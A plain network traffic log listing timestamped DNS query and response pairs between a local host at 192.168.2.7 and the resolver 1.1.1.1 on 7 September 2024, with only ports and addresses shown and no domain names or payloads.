Sep 7, 2024 15:31:27.053633928 CEST	62597	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:27.238720894 CEST	53	62597	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:27.244518995 CEST	61894	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:27.414459944 CEST	53	61894	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:27.521764040 CEST	61786	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:27.761967897 CEST	53	61786	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:27.772089005 CEST	53499	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.013931036 CEST	53	53499	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.133316040 CEST	57238	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.163521051 CEST	53	57238	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.176673889 CEST	62812	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.207634926 CEST	53	62812	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.318207026 CEST	60737	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.347709894 CEST	53	60737	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.351222992 CEST	55959	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.386029005 CEST	53	55959	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.490427017 CEST	51855	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.525396109 CEST	53	51855	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.529277086 CEST	56263	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.565531969 CEST	53	56263	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.680136919 CEST	49782	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.714586020 CEST	53	49782	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.718220949 CEST	54430	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.727446079 CEST	53	54430	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.834153891 CEST	52990	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:28.930905104 CEST	53	52990	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:28.933629990 CEST	63978	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:29.260987043 CEST	53	63978	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:29.381390095 CEST	60053	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:29.480046034 CEST	53	60053	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:29.487046957 CEST	55630	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:29.590089083 CEST	53	55630	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:29.692949057 CEST	52274	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:29.789191008 CEST	53	52274	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:29.796688080 CEST	65008	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.048435926 CEST	53	65008	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.163580894 CEST	55145	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.175451040 CEST	53	55145	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.178716898 CEST	52846	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.187290907 CEST	53	52846	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.302134037 CEST	61152	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.312283993 CEST	53	61152	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.314467907 CEST	59352	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.326210022 CEST	53	59352	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.443700075 CEST	57930	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.541028023 CEST	53	57930	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.546804905 CEST	60546	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.642714024 CEST	53	60546	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.755459070 CEST	64964	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.791404009 CEST	53	64964	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.793751955 CEST	52410	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:30.817955017 CEST	53	52410	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:30.927826881 CEST	64329	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:31.025437117 CEST	53	64329	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:31.044748068 CEST	57893	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:31.283760071 CEST	53	57893	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:31.395970106 CEST	57206	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:31.407227993 CEST	53	57206	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:31.411389112 CEST	60893	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:31.421899080 CEST	53	60893	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:31.537322044 CEST	57804	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:31.640021086 CEST	53	57804	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:31.642584085 CEST	61230	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:31.884067059 CEST	53	61230	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.002629995 CEST	54201	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.259888887 CEST	53	54201	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.262896061 CEST	55405	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.433592081 CEST	53	55405	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.554234982 CEST	49266	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.587929010 CEST	53	49266	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.603277922 CEST	56639	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.638459921 CEST	53	56639	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.755322933 CEST	54645	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.805110931 CEST	53	54645	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.807877064 CEST	59990	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.842585087 CEST	53	59990	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:32.958724976 CEST	60856	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:32.989975929 CEST	53	60856	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.130820990 CEST	60282	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.169847012 CEST	53	60282	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.172523975 CEST	54380	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.202671051 CEST	53	54380	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.317926884 CEST	55457	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.330667019 CEST	53	55457	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.352533102 CEST	53856	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.370270014 CEST	53	53856	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.372750044 CEST	59570	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.383560896 CEST	53	59570	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.490777969 CEST	56636	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.520477057 CEST	53	56636	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.648014069 CEST	52211	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:34.667743921 CEST	53	52211	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:34.805026054 CEST	55510	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:35.096730947 CEST	53	55510	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:35.100016117 CEST	55144	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:35.145082951 CEST	53	55144	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:35.259565115 CEST	52765	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:35.547637939 CEST	53	52765	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:35.559010029 CEST	50684	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:35.598498106 CEST	53	50684	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:35.708745003 CEST	49793	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:35.746670961 CEST	53	49793	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:35.749644041 CEST	60187	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.022980928 CEST	53	60187	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.130759001 CEST	57322	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.167620897 CEST	53	57322	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.286777020 CEST	60447	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.322364092 CEST	53	60447	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.326203108 CEST	58403	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.355597973 CEST	53	58403	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.474131107 CEST	62432	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.578999043 CEST	53	62432	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.582360983 CEST	62819	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.590998888 CEST	53	62819	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.708554983 CEST	60544	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.753663063 CEST	53	60544	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.757576942 CEST	53504	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.803435087 CEST	53	53504	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.912383080 CEST	52348	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.926451921 CEST	53	52348	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:36.957607031 CEST	51263	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:36.966975927 CEST	53	51263	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.084158897 CEST	52713	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.101941109 CEST	53	52713	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.225267887 CEST	61994	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.236017942 CEST	53	61994	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.240175009 CEST	53747	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.249177933 CEST	53	53747	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.366352081 CEST	50414	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.379825115 CEST	53	50414	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.505522966 CEST	62546	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.515127897 CEST	53	62546	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.521501064 CEST	64451	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.530769110 CEST	53	64451	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.648289919 CEST	63603	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.686997890 CEST	53	63603	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.689172983 CEST	55428	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.734594107 CEST	53	55428	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:37.851876020 CEST	49584	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:37.949088097 CEST	53	49584	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:38.030637026 CEST	51728	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:38.037883043 CEST	53	51728	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:38.177612066 CEST	53392	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:38.186944962 CEST	53	53392	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:38.302968025 CEST	59124	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:38.466155052 CEST	53	59124	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:38.471496105 CEST	50285	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:38.479396105 CEST	53	50285	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:38.584084034 CEST	53429	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:38.762737036 CEST	53	53429	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:38.766796112 CEST	63229	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.021446943 CEST	53	63229	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.130495071 CEST	50548	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.153844118 CEST	53	50548	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.271131992 CEST	51465	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.317589998 CEST	53	51465	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.337392092 CEST	54791	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.346596956 CEST	53	54791	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.347553015 CEST	53227	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.356980085 CEST	53	53227	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.477622032 CEST	56396	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.486746073 CEST	53	56396	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.614636898 CEST	64418	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.710848093 CEST	53	64418	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:39.716507912 CEST	58988	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:39.954346895 CEST	53	58988	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:40.068595886 CEST	56399	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:40.245697021 CEST	53	56399	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:40.250575066 CEST	52009	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:40.512075901 CEST	53	52009	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:40.632256031 CEST	64360	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:40.642457962 CEST	53	64360	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:40.649349928 CEST	56495	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:40.671147108 CEST	53	56495	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:40.789802074 CEST	64380	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:41.038135052 CEST	53	64380	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:41.046477079 CEST	63505	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:41.154954910 CEST	53	63505	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:41.271625042 CEST	52471	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:41.303368092 CEST	53	52471	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:41.305681944 CEST	54005	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:41.386605024 CEST	53	54005	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:41.490577936 CEST	63061	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:41.595961094 CEST	53	63061	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:41.602467060 CEST	52397	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:41.934746981 CEST	53	52397	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.037363052 CEST	60260	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.333947897 CEST	53	60260	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.339286089 CEST	62925	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.346537113 CEST	53	62925	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.458638906 CEST	51214	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.474036932 CEST	53	51214	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.602433920 CEST	52579	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.703685999 CEST	53	52579	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.706000090 CEST	65202	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.816063881 CEST	53	65202	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.927387953 CEST	57239	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.956943989 CEST	53	57239	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:42.960130930 CEST	60334	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:42.971374989 CEST	53	60334	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:43.084670067 CEST	55109	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:43.828314066 CEST	53	55109	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:43.831917048 CEST	57577	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:43.930322886 CEST	53	57577	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.038503885 CEST	60769	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:44.060317039 CEST	53	60769	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.193152905 CEST	56800	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:44.430809021 CEST	53	56800	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.436173916 CEST	57976	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:44.534183025 CEST	53	57976	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.647330999 CEST	59130	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:44.657799959 CEST	53	59130	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.664104939 CEST	60904	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:44.673988104 CEST	53	60904	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.789725065 CEST	61145	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:44.892364025 CEST	53	61145	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:44.894615889 CEST	62567	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:45.134301901 CEST	53	62567	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:45.239959955 CEST	54279	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:45.275672913 CEST	53	54279	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:45.288558006 CEST	56661	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:45.559021950 CEST	53	56661	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:45.661838055 CEST	50436	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.202924013 CEST	53	50436	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.210381985 CEST	54237	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.239991903 CEST	53	54237	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.350579977 CEST	49994	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.359740019 CEST	53	49994	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.370697975 CEST	49828	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.380785942 CEST	53	49828	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.382922888 CEST	56295	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.391371012 CEST	53	56295	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.489998102 CEST	56796	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.499284983 CEST	53	56796	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.502439022 CEST	50543	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.512032032 CEST	53	50543	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.617697954 CEST	57865	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.627094030 CEST	53	57865	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.631731987 CEST	61410	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.641114950 CEST	53	61410	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.755422115 CEST	56116	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.771477938 CEST	53	56116	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.777240992 CEST	50771	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.787132025 CEST	53	50771	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.896244049 CEST	62151	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.905504942 CEST	53	62151	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:46.909712076 CEST	49845	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:46.931298018 CEST	53	49845	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:47.037220001 CEST	52214	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:47.063918114 CEST	53	52214	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:47.178098917 CEST	65035	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:47.415864944 CEST	53	65035	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:47.420568943 CEST	53120	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:47.517389059 CEST	53	53120	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:47.617738962 CEST	57371	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:47.721741915 CEST	53	57371	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:47.740957975 CEST	57443	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.210609913 CEST	53	57443	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.319395065 CEST	63750	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.421550989 CEST	53	63750	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.425102949 CEST	60524	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.432894945 CEST	53	60524	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.536885023 CEST	64100	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.546643972 CEST	53	64100	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.549310923 CEST	55771	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.559058905 CEST	53	55771	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.661967993 CEST	65173	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.766937971 CEST	53	65173	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.770190001 CEST	56402	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:48.875528097 CEST	53	56402	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:48.974697113 CEST	54290	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:49.443681002 CEST	53	54290	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:49.448158979 CEST	54054	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:49.790143967 CEST	53	54054	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:49.896161079 CEST	49565	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:49.950716019 CEST	53	49565	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:49.954405069 CEST	56284	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:49.988759041 CEST	53	56284	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:50.118350983 CEST	58695	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:50.163765907 CEST	53	58695	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:50.172277927 CEST	61852	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:50.204473972 CEST	53	61852	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:50.302649975 CEST	58943	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:50.540565968 CEST	53	58943	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:50.550956011 CEST	59850	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:50.588300943 CEST	53	59850	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:50.693074942 CEST	56746	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:51.039961100 CEST	53	56746	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:51.047687054 CEST	55903	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:51.294233084 CEST	53	55903	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:51.396667004 CEST	57202	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:51.428705931 CEST	53	57202	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:51.431960106 CEST	61750	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:51.482705116 CEST	53	61750	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:51.583671093 CEST	53139	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:51.691597939 CEST	53	53139	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:51.694792032 CEST	59142	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:51.945171118 CEST	53	59142	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:52.037790060 CEST	61486	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:52.206078053 CEST	53	61486	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:52.212099075 CEST	56737	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:52.372838020 CEST	53	56737	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:52.477313042 CEST	64576	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:52.512777090 CEST	53	64576	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:52.518306971 CEST	52484	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:52.778568983 CEST	53	52484	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:52.880503893 CEST	50193	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:52.915884972 CEST	53	50193	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:52.922209978 CEST	56336	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:52.978013992 CEST	53	56336	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.083808899 CEST	60339	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:53.100451946 CEST	53	60339	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.111736059 CEST	51394	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:53.120708942 CEST	53	51394	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.129535913 CEST	60442	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:53.136923075 CEST	53	60442	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.240053892 CEST	54121	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:53.526015043 CEST	53	54121	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.532875061 CEST	58368	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:53.567305088 CEST	53	58368	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.661561966 CEST	50017	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:53.765057087 CEST	53	50017	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:53.770046949 CEST	49336	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:54.006417990 CEST	53	49336	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.099570990 CEST	49408	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:54.109854937 CEST	53	49408	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.112328053 CEST	56949	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:54.122134924 CEST	53	56949	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.227473974 CEST	51523	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:54.263447046 CEST	53	51523	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.265710115 CEST	54906	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:54.303482056 CEST	53	54906	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.396852016 CEST	61175	53	192.168.2.7	1.1.1.1
